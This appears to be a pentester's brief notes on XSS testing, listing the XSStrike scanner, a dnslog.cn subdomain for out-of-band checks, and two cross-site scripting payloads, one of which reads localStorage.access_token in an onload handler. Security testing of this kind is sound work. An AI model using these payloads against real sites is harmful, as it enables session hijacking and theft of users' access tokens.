测试工具

https://github.com/s0md3v/XSStrike

http://vvlawj.dnslog.cn

“><a href=”javascript:alert(0)

$$ <input type=image src=/static/css/img/logo.23d7be3.svg onload=alert(localStorage.access_token)> $$